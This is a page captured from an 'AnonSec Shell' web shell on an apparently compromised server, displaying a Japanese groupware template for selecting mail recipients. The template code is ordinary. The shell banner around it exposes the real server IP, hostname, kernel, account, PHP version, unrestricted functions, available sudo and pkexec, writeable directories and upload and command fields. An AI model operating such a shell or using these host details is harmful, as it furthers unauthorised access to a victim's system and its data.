AnonSec Shell
Server IP : 133.18.244.157  /  Your IP : 216.73.217.20
Web Server : Apache
System : Linux o4022v-135.kagoya.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : main2 ( 81069)
PHP Version : 5.6.34
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /install/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /install/page/MailSelectAddress.html
' $System.Access Mail
' $Command.Mail.AccecssModify
' $System.SetParameter Arg "&bs=$BS&did=$DID"
' If $System.IsPost
'  If $Text
'   $Encode = $Command.String.Encode $Text
'   $System.SetParameter SArg "&searchitem=$SearchItem&text=$Encode"
'  EndIf
'  If $AddressID
'   $Command.Mail.SetInsertAddress
'  EndIf
'  $System.Redirect "$Server?page=$Page&wid=$WID$$Arg&cgid=$CGID&qid=$QID&gid=$GID&index=$Index&head=$Head&hid=$HID&st=$ST&target=$Target$$SArg"
'  Exit
' EndIf
' If $QID and ( ! $Text )
'  Set $Search = $Command.Customer.GetPersonalSearch $WID $ST
'  If ! $Search
'   $ST = $Command.Customer.SetSearchQuery $WID $CGID $QID
'  EndIf
'  $Progress = $Command.Customer.Search $WID $ST $Head
'  If $Progress
<meta http-equiv="Refresh" content="0;URL=$Server?page=$Page&wid=$WID$$_Arg&cgid=$CGID&qid=$QID&index=$Index&head=$Head&hid=$HID&st=$ST&target=$Target">
'  EndIf
' EndIf
' Set $personalCustomer = $Command.Customer.GetPersonalCustomer $WID
' If $Open
'  $personalCustomer.HideClickSearch = ""
' Elif $Close
'  $personalCustomer.HideClickSearch = 1
' EndIf
<!--#include file="LibraryCommon.html"-->
' Call cmHtmlHead
<!--#include file="LibraryForm.html"-->
<!--#include file="LibraryCustomerIndex.html"-->
' $CaptionTitle = "メールアドレスの選択"
' Call cmHead $CaptionTitle
' If ( ! $CGID ) and ( $CGID != 0 )
'  If $Personal.Address.Histories.Count
'   $CGID = -5
'  Else
'   $CGID = -4
'  EndIf
' EndIf
' Set $Draft = $Command.Mail.GetDraft $BS $DID
' If $Init
'  $Draft.Selected.To = ""
'  $Draft.Selected.CC = ""
'  $Draft.Selected.BCC = ""
' Else
'  $To = $Draft.Selected.To
'  $CC = $Draft.Selected.CC
'  $BCC = $Draft.Selected.BCC
' EndIf
' Call cmLoadJavaScript "window"
<script language="javascript" type="text/javascript"><!--
function SelectAddress( form, id, type, mail, sid )
{
  form.Address.value = mail;
  form.AddressID.value = id;
  form.AddressType.value = type;
  form.SectionID.value = sid;
  form.Head.value = '$_Head.JSEscape';
  form.HID.value = '$_HID.JSEscape';
  form.ST.value = '$_ST.JSEscape';
  form.Index.value = '$_Index.JSEscape';
  form.submit();
}
function GetTarget()
{
  if( document.FormSA.Target[1].checked == true )
  {
    return 'CC';
  }
  else if( document.FormSA.Target[2].checked == true )
  {
    return 'BCC';
  }
  return 'To';
}
function onInsert( form )
{
  if ( IsAliveWindow( window.parent.opener ) )
  {
    if( form.To.value )
    {
      var targetTo = opener.document.MailSend.To;
      if( targetTo )
      {
        if( targetTo.value )
        {
          targetTo.value += ',';
        }
        targetTo.value += form.To.value;
      }
    }
    if( form.CC.value )
    {
      var targetCC = opener.document.MailSend.CC;
      if( targetCC )
      {
        if( targetCC.value )
        {
          targetCC.value += ',';
        }
        targetCC.value += form.CC.value;
      }
    }
    if( form.BCC.value )
    {
      var targetBCC = opener.document.MailSend.BCC;
      if( targetBCC )
      {
        if( targetBCC.value )
        {
          targetBCC.value += ',';
        }
        targetBCC.value += form.BCC.value;
      }
    }
  }
  window.parent.close();
  return false;
}
//-->
</script>
' $System.SetParameter JSonClick "target=GetTarget();url=url+'&target='+target"
</head>
<body>
' Call cmChildHeader
' $System.CloseDatabase "mw"
' If $Progress
'  Sub progressColumn
<div class="desc">現在、絞込を実行中です。しばらくお待ちください。</div>
<!--#include file="PartsProgress.html"-->
'  EndSub
'  Call layout_msg "" "" 0 progressColumn
'  Call cmChildFooter
</body>
</html>
'  Exit
' EndIf
''
' Set $MailProfile = $Command.Mail.GetMailTop $BS
' Set $PersonalCustomer = $Command.Customer.GetPersonalCustomer $WID
' Init $SearchItem = $PersonalCustomer.SearchItem
<form name="FormSA" method="post" action="$Server?">
<input type="hidden" name="CSRFTicket" value="$System.MakeCSRFKey">
<input type="hidden" name="Page" value="MailSelectAddress">
<input type="hidden" name="WID" value="$WID">
<input type="hidden" name="BS" value="$BS">
<input type="hidden" name="DID" value="$DID">
<input type="hidden" name="CGID" value="$CGID">
<input type="hidden" name="Head" value="">
<input type="hidden" name="HID" value="">
<input type="hidden" name="ST" value="">
<input type="hidden" name="Address" value="">
<input type="hidden" name="AddressID" value="">
<input type="hidden" name="AddressType" value="">
<input type="hidden" name="Index" value="">
<input type="hidden" name="SectionID" value="">
<input type="hidden" name="Selected" value="$Draft.Address">
''
' Sub formColumn
<table class="formTable">
<tr><th nowrap>
' Call formRadio "Target" "To" $Target.Checked_To "To" "TargetTo"
</th><td nowrap>
' Call formTextBox "To" "$To" "" "Target[0].checked=true;" "" "" "formText"
</td></tr>
<tr><th nowrap>
' Call formRadio "Target" "CC" $Target.Checked_CC "CC" "TargetCC"
</th><td nowrap>
' Call formTextBox "CC" "$CC" "" "Target[1].checked=true;" "" "" "formText"
</td></tr>
<tr><th nowrap>
' Call formRadio "Target" "BCC" $Target.Checked_BCC "BCC" "TargetBCC"
</th><td nowrap>
' Call formTextBox "BCC" "$BCC" "" "Target[2].checked=true;" "" "" "formText"
</td></tr>
</table>
<p class="formCommit">
' Call cmButton "上記のアドレスを挿入する" "onInsert( this.form );" "btn_mail20.png"
' Call cmButton "キャンセルする" "javascript:window.close();" "btn_stop20.png"
</p>
' EndSub
''
' Sub commonColumn
'  Call formColumn
' EndSub
''
'' <!---------------------最近使ったメールアドレスの表示----------------------------->
' Sub SelectHistoryMail $shmArg
'  If ! $WorkSpace.Customer.Disable
<table border="0" width="100%" cellspacing="0" cellpadding="5">
<tr class="active">
<td nowrap>$WorkSpace.Customer.Name$検索\\
<select name="SearchItem">
<option value="company" $SearchItem.Selected_company>会社名</option>
<option value="name" $SearchItem.Selected_name>名前</option>
<option value="tel" $SearchItem.Selected_tel>電話番号</option>
<option value="code" $SearchItem.Selected_code>顧客コード</option>
<option value="mail" $SearchItem.Selected_mail>メールアドレス</option>
</select>
<div class="search">
'   Call formTextBox "Text" "$scmText" 100 "" "" "" "searchText"
'   Call formSubmit "Search" "" "" "searchButton"
</div></td></tr></table>
'  EndIf
<table class="dataList" width="100%" border="0" cellspacing="0" cellpadding="7">
<tr class="table-header"><td nowrap>会社名</td><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
'  For Each $shmHistory in $Personal.Address.Histories
'   $shmOID = $shmHistory.OID
'   If $shmHistory.Type = "User"
'    Set $shmUser = $Users.$shmOID
'    If ! $shmUser
'     Continue
'    EndIf
'    Set $v = $ViewIndex.Add
'    $v.AID = -2
'   Else
'    Set $shmCustomer = $CIndex.Cards.$shmOID
'    If ! $shmCustomer
'     Continue
'    EndIf
'    Set $v = $ViewIndex.Add
'    $v.Key = $shmHistory.SectionID
'    $v.DBID = $shmCustomer.DBID
'   EndIf
'   $v.OID = $shmOID
'   $v.Type = $shmHistory.Type
'  Next
'  $ViewIndex.WID = $WID
'  $ViewIndex.InitCompany = 1
'  $Command.Customer.CloseIndexDatabase
'  $RowNum = 0
'  For Each $shmData in $ViewIndex
'   Inc $RowNum
'   $Remainder = $Command.Math.Modulus $RowNum 2
'   If $Remainder = 0
'    $RowClass = "evenRow"
'   Else
'    $RowClass = "oddRow"
'   EndIf
'   $shmOID = $shmData.OID
<tr class="$RowClass underline">
'   If $shmData.Type = "Customer"
<td valign="top">
'    Set $shmCompany = $shmData.Company
'    If $shmCompany
'     Call cmImage "company20.png"
$shmCompany.Name
'    EndIf
<br></td><td valign="top">
'    Call cmImage "person20.png"
$shmData.Name</td><td valign="top">
'    For Each $shmMail in $shmData.Mails
'     Call cmLink $shmMail "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$shmOID', 'Customer', '$shmMail.JSEscape', '' );"
<br>
'    Next
'    If ! $shmData.Mails.Count
<br>
'    EndIf
</td>
'   Elif $shmData.Type = "Company"
<td valign="top">
'    Call cmImage "company20.png"
$shmData.Name
</td><td valign="top">
'    $shmSectionID = $shmData.Key
'    If $shmSectionID
'     Call cmImage "section20.png"
$shmData.Sections.$shmSectionID.Name
'     $shmCaption = "(部課に所属する顧客全員)"
'    Else
'     $shmCaption = "(会社に所属する顧客全員)"
'    EndIf
<br></td>
<td valign="top">
'    Call cmLink $shmCaption "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$shmOID', 'Company', '', '$shmSectionID' );"
</td>
'   Else
<td><br></td><td valign="top">
'    Call cmImage "user20.png"
$shmData.Name</td><td valign="top">
'    If $shmData.Mail
'     Call cmLink $shmData.Mail "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$shmOID', 'User', '$shmData.Mail.JSEscape', '' );"
'    EndIf
<br></td>
'   EndIf
</tr>
'  Next
<tr class="table-header"><td nowrap>会社名</td><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
</table>
' EndSub
''
'' <!---------------------ユーザー名簿の表示----------------------------->
' Sub SelectUserMail $sumGID $sumText $sumArg
<table border="0" width="100%" cellspacing="0" cellpadding="5">
<tr class="active"><td nowrap>\\
'  If $sumText
<b>検索結果の表示</b>
'  Else
グループ\\
<select name="GID" onChange="this.form.submit();">
<option value="0">(全て)</option>
'   Options $sumGID in $Groups
</select>
'  EndIf
</td><td align="right" nowrap>ユーザー検索\\
<div class="search">
'   Call formTextBox "Text" $sumText 100 "" "" "" "searchText"
'   Call formSubmit "Search" "" "" "searchButton"
</div>
'  If $sumText
'   Call cmButton "クリアする" "target=GetTarget();location.href='$Server?page=$Page&wid=$WID$$sumArg'+'&target='+target;"
'  EndIf
</td></tr></table>
<table class="dataList" width="100%" border="0" cellspacing="0" cellpadding="7">
<tr class="table-header"><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
'  If $sumGID and ( ! $sumText )
'   Set $sumUs = $Groups.$sumGID.Users
'  Else
'   Set $sumUs = $Users
'  EndIf
'  $RowNum = 0
'  For Each $sumUser in $sumUs
'   If $sumText
'    $sumContains = $Command.String.StrFind $sumUser.Name $sumText
'    If ! $sumContains
'     Continue
'    EndIf
'   EndIf
'   Inc $RowNum
'   $Remainder = $Command.Math.Modulus $RowNum 2
'   If $Remainder = 0
'    $RowClass = "evenRow"
'   Else
'    $RowClass = "oddRow"
'   EndIf
<tr class="$RowClass underline"><td valign="top">
'   Call cmImage "user20.png"
$sumUser.Name</td><td valign="top">
'   If $sumUser.Mail
'    Call cmLink $sumUser.Mail "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$sumUser.ID', 'User', '$sumUser.Mail.JSEscape', '' );"
'   EndIf
<br></td></tr>
'  Next
<tr class="table-header"><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
</table>
' EndSub
''
'' <!---------------------顧客の表示----------------------------->
' Sub SelectCustomerMail $scmCGID $scmTarget $scmDIndex $scmQID $scmSearchItem $scmText $scmST $scmHead $scmHID $scmArg
'  $scmRows = $Customer.Rows
'  Init $scmRows = 20
'  If $scmText
'   If $scmSearchItem = "company"
'    Set $scmRS = $CNameIndex.CompanyIndex.RowSet
'    $scmRS.SearchText = $scmText
'   Elif $scmSearchItem = "name"
'    Set $scmRS = $CNameIndex.NameIndex.RowSet
'    $scmRS.SearchText = $scmText
'   Elif $scmSearchItem = "code"
'    Set $scmRS = $CCodeIndex.CodeIndex.RowSet
'    $scmRS.SearchText = $scmText
'   Elif $scmSearchItem = "tel"
'    $scmNText = $Command.Customer.NormalizeTel $scmText
'    If $scmNText
'     Set $scmRS = $CTelIndex.TelIndex.RowSet
'     $scmRS.SearchText = $scmNText
'    EndIf
'   Elif $scmSearchItem = "mail"
'    $scmNText = $Command.Customer.NormalizeMail $scmText
'    If $scmNText
'     Set $scmRS = $CMailIndex.MailIndex.RowSet
'     $scmRS.SearchText = $scmNText
'    EndIf
'   EndIf
'  Else
'   Set $scmQueries = $Customer.$scmTarget.Queries
'   If $scmQID
'    Set $scmRS = $Command.Customer.GetSearchResult $WID $scmST $scmRows $scmHead
'   Else
'    If $scmCGID = -1
'     Set $scmCustomers = $CYomiIndex.Company.Customers
'    Elif ( $scmCGID = -2 ) or ( $scmCGID = -3 )
'     $scmLID = $Login.ID
'     Set $scmCustomers = $CYomiIndex.$scmTarget.Users.$scmLID.Customers
'    Elif $scmCGID
'     Set $scmCustomers = $CYomiIndex.$scmTarget.Groups.$scmCGID.Customers
'    Else
'     Set $scmCustomers = $CYomiIndex.Person.Customers
'    EndIf
'    Set $scmRS = $scmCustomers.RowSet
'   EndIf
'   If $scmDIndex
'    $scmRS.Initial = $scmDIndex
'   EndIf
'  EndIf
'  $scmRS.Rows = $scmRows
'  If $scmHID
'   $scmRS.HID = $scmHID
'   $scmRS.Head = $scmHead
'  EndIf
<table border="0" width="100%" cellspacing="0" cellpadding="5">
<tr class="active"><td nowrap>\\
'  If $scmText
<b>検索結果の表示</b>
'  Else
絞込\\
<select name="QID" onChange="Text.value='';this.form.submit();">
<option value="0">(全て)</option>
'   Options $scmQID in $scmQueries
</select>
'  EndIf
</td><td align="right" nowrap>$WorkSpace.Customer.Name$検索\\
<select name="SearchItem">
<option value="company" $scmSearchItem.Selected_company>会社名</option>
<option value="name" $scmSearchItem.Selected_name>名前</option>
<option value="tel" $scmSearchItem.Selected_tel>電話番号</option>
<option value="code" $scmSearchItem.Selected_code>顧客コード</option>
<option value="mail" $scmSearchItem.Selected_mail>メールアドレス</option>
</select>
<div class="search">
'  Call formTextBox "Text" "$scmText" 100 "" "" "" "searchText"
'  Call formSubmit "Search" "" "" "searchButton"
</div>
'  If $scmText
'   Call cmButton "クリアする" "target=GetTarget();location.href='$Server?page=$Page&wid=$WID$$scmArg'+'&target='+target;"
'  EndIf
</td></tr></table>
<table class="dataList" width="100%" border="0" cellspacing="0" cellpadding="7">
<tr class="table-header"><td nowrap>会社名</td><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
'  $ViewIndex.WID = $WID
'  If ( $scmTarget = "Company" ) or $scmText
'   $ViewIndex.InitPersons = 1
'  EndIf
'  If ( $scmTarget = "Person" ) or $scmText
'   $ViewIndex.InitCompany = 1
'  EndIf 
'  For Each $c in $scmRS
'   Set $v = $ViewIndex.Add
'   If ( $scmQID > 0 ) and ( ! $Text ) and ( $Text != 0 )
'    $v.OID = $c.OID
'   Else
'    $v.OID = $c.CID
'   EndIf
'   $v.DBID = $c.DBID
'  Next
'  $ViewIndex.Prev = $scmRS.Prev
'  $ViewIndex.PID = $scmRS.PID
'  $ViewIndex.Next = $scmRS.Next
'  $ViewIndex.NID = $scmRS.NID
'  $Command.Customer.CloseIndexDatabase
'  $RowNum = 0
'  For Each $cd in $ViewIndex
'   Inc $RowNum
'   $Remainder = $Command.Math.Modulus $RowNum 2
'   If $Remainder = 0
'    $RowClass = "evenRow"
'   Else
'    $RowClass = "oddRow"
'   EndIf
<tr class="$RowClass overline">
'   If $cd.CompanyID
<td valign="top">
'    If $cd.Company
'     Call cmImage "company20.png"
$cd.Company.Name
'    EndIf
<br></td>
<td valign="top">
'    Call cmImage "person20.png"
$cd.Name</td><td valign="top">
'    For Each $scmMail in $cd.Mails
'     Call cmLink $scmMail "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$cd.OID', 'Customer', '$scmMail.JSEscape', '' );"
<br>
'    Next
'    If ! $cd.Mails.Count
<br>
'    EndIf
'   Else
<td valign="top">
'    Call cmImage "company20.png"
$cd.Name
</td><td nowrap>
'    $scmMail = 0
'    For Each $scmP in $cd.Persons
'     If $scmP.Mails.Count
'      $scmMail = 1
'      Exit
'     EndIf
'    Next
'    If $scmMail
'     Call cmLink "(会社に所属する顧客全員)" "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$cd.OID', 'Company', '', '' );"
'    EndIf
<br></td><td><br></td></tr>
'    Sub selectCompanyPerson $scmP
'     $scmPID = $scmP.OID
'     $scmDBID = $scmP.DBID
<tr class="$RowClass"><td><br></td>
<td valign="top">
'     Call cmImage "person20.png"
$scmP.Name</td><td valign="top">
'     For Each $scmMail in $scmP.Mails
'      Call cmLink $scmMail "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$scmPID', 'Customer', '$scmMail.JSEscape', '' );"
<br>
'     Next
'     If ! $scmP.Mails.Count
<br>
'     EndIf
</td></tr>
'    EndSub
'    If $Customer.Person.Section.Disable
'     For Each $scmP in $cd.Persons
'      Call selectCompanyPerson $scmP
'     Next
'    Else
'     For Each $scmPID in $cd.Member
'      Set $scmP = $cd.Persons.$scmPID
'      Call selectCompanyPerson $scmP
'     Next
'     For Each $scmSection in $cd.Sections
<tr class="$RowClass">
<td valign="top"> &nbsp; &nbsp; 
'      Call cmImage "section20.png"
$scmSection.Name</td><td valign="top">
'      $scmMail = 0
'      For Each $scmPID in $scmSection.Member
'       Set $scmP = $cd.Persons.$scmPID
'       If $scmP.Mails.Count
'        $scmMail = 1
'        Exit
'       EndIf
'      Next
'      If $scmMail
'       Call cmLink "(部課に所属する顧客全員)" "mail20.png" "javascript:void(0);" 0 0 "" "" "SelectAddress( document.FormSA, '$cd.OID', 'Company', '', $scmSection.OID );"
'      EndIf
<br></td><td><br></td></tr>
'      For Each $scmPID in $scmSection.Member
'       Set $scmP = $cd.Persons.$scmPID
'       Call selectCompanyPerson $scmP
'      Next
'     Next
'    EndIf
'   EndIf
'  Next
<tr class="table-header"><td nowrap>会社名</td><td nowrap>名前</td><td nowrap>メールアドレス</td></tr>
</table>
'  $localArg = $scmArg
'  If $scmText
'   $scmEncode = $Command.String.Encode $scmText
'   $System.SetParameter localArg "$scmArg&searchitem=$scmSearchItem&text=$scmEncode"
'  EndIf
<div style="line-height:1.5em">
'  If $ViewIndex.Prev or $ViewIndex.PID
<script language="JavaScript" type="text/javascript"><!--
function onHead()
{
  var target=GetTarget();
  var url='$Server?page=$Page&wid=$WID&vid=$VID$$_localArg&target='+target;
  location.href=url;
}
function onPrev()
{
  var target=GetTarget();
  var url='$Server?page=$Page&wid=$WID&vid=$VID&head=$_ViewIndex.Prev&hid=$ViewIndex.PID$$_localArg&target='+target;
  location.href=url;
}
-->
</script>
<a href="javascript:onHead();">先頭へ</a>
| <a href="javascript:onPrev();">&lt;&lt; 前の$scmRows件へ</a>
'  Else
<font color="#888888">先頭へ | &lt;&lt; 前の$scmRows件へ</font>
'  EndIf
'  If $ViewIndex.Next or $ViewIndex.NID
<script language="JavaScript" type="text/javascript"><!--
function onNext()
{
  var target=GetTarget();
  var url='$Server?page=$Page&wid=$WID&vid=$VID&head=$_ViewIndex.Next&hid=$ViewIndex.NID$$_localArg&target='+target;
  location.href=url;
}
-->
</script>
| <a href="javascript:onNext();">次の$scmRows件へ &gt;&gt;</a>
'  Else
<font color="#888888">| 次の$scmRows件へ &gt;&gt;</font>
'  EndIf
</div>
' EndSub
''
' If $Text
'  $System.SetParameter Arg "$Arg&cgid=$CGID"
' EndIf
''
' Sub sideColumn
   <table class="category">
    <tr><td><br></td></tr>
    <tr><td><hr></td></tr>
    <tr><td nowrap>\\
'   If $CGID = -5
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=-5$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmLink "最近使ったアドレス" "mail_sent20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'  If ! $WorkSpace.User.Disable
    <tr><td nowrap>\\
'   If $CGID = -4
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=-4$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmLink $WorkSpace.User.Name "user20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'  EndIf
'  If ! $WorkSpace.Customer.Disable
    <tr><td nowrap>\\
'   If $CGID = -1
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=-1$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmLink "会社一覧" "company20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
    <tr><td nowrap>\\
'   If $CGID = -3
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=-3$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmImage "spacer.gif" "" "" 20 20
'   Call cmLink "(担当)" "category20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'   For Each $cg in $Customer.Company.Groups
    <tr><td nowrap>\\
'    If $CGID = $cg.ID
<div class="category-item selected"\\
'    Else
<div class="category-item"\\
'    EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=$cg.ID$$Arg.JsEscape'+'&target='+target;return false;">
'    Call cmImage "spacer.gif" "" "" 20 20
'    Call cmLink $cg.Name "category20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'   Next
    <tr><td nowrap>\\
'   If ! $CGID
<div class="category-item selected"\\
'    Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=0$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmLink "顧客一覧" "person20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
    <tr><td nowrap>\\
'   If $CGID = -2
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'   EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=-2$Arg.JsEscape'+'&target='+target;return false;">
'   Call cmImage "spacer.gif" "" "" 20 20
'   Call cmLink "(担当)" "category20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'   For Each $cg in $Customer.Person.Groups
    <tr><td nowrap>\\
'    If $CGID = $cg.ID
<div class="category-item selected"\\
'   Else
<div class="category-item"\\
'    EndIf
 onClick="target=GetTarget();location.href='$Server?page=$Page&wid=$WID&cgid=$cg.ID$$Arg.JsEscape'+'&target='+target;return false;">
'    Call cmImage "spacer.gif" "" "" 20 20
'    Call cmLink $cg.Name "category20.png" "#" "" "" "" "" "" "icontext"
</div></td></tr>
'   Next
'  EndIf
    <tr><td><hr></td></tr>
    <tr><td><br></td></tr>
</table>
''
'  $System.SetParameter Arg "$Arg&cgid=$CGID"
'  If ( $CGID != -4 ) and ( $CGID != -5 )
'   If ( $CGID = -1 ) or ( $CGID = -3 )
'    $CType = "Company"
'   Elif ( $CGID = -2 ) or ( ! $CGID )
'    $CType = "Person"
'   Elif $Customer.Company.Groups.$CGID
'    $CType = "Company"
'   Else
'    $CType = "Person"
'   EndIf
'' <!---------------------索引----------------------------->
'   If $Index
'    $Decode = $Command.String.Decode $Index
'   EndIf
'   If $CType = "Company"
'    Call customerIndex "会社よみ" $Index $Decode $Arg $JSonClick
'   Else
'    Call customerIndex "よみ" $Index $Decode $Arg $JSonClick
'   EndIf
'   $System.SetParameter Arg "$Arg&index=$Index"
'   If $QID
'    $System.SetParameter Arg "$Arg&qid=$QID&st=$ST"
'   EndIf
'  EndIf
' EndSub
''
' Sub mainColumn
<div class="desc">挿入するメールアドレスを、下の一覧からクリックして抽出してください。</div>
' If ( $CGID = -5 ) and ( ! $Text )
'  Call SelectHistoryMail $Arg
' Elif $CGID = -4
'  Init $GID = $Login.FirstGID
'  Call SelectUserMail $GID $Text $Arg
' Elif ! $WorkSpace.Customer.Disable
'  Call SelectCustomerMail $CGID $CType $Decode $QID $SearchItem $Text $ST $Head $HID $Arg
' EndIf
' EndSub
''
' If $Text
'  Call layout_list "" "" 0 mainColumn "" "" 0 "" commonColumn
' Else
'  Call layout_list "" "90%" 0 mainColumn "" "10%" 0 sideColumn commonColumn
' EndIf
</form>
' Call cmChildFooter
</body>
</html>

Anon7 - 2022
AnonSec Team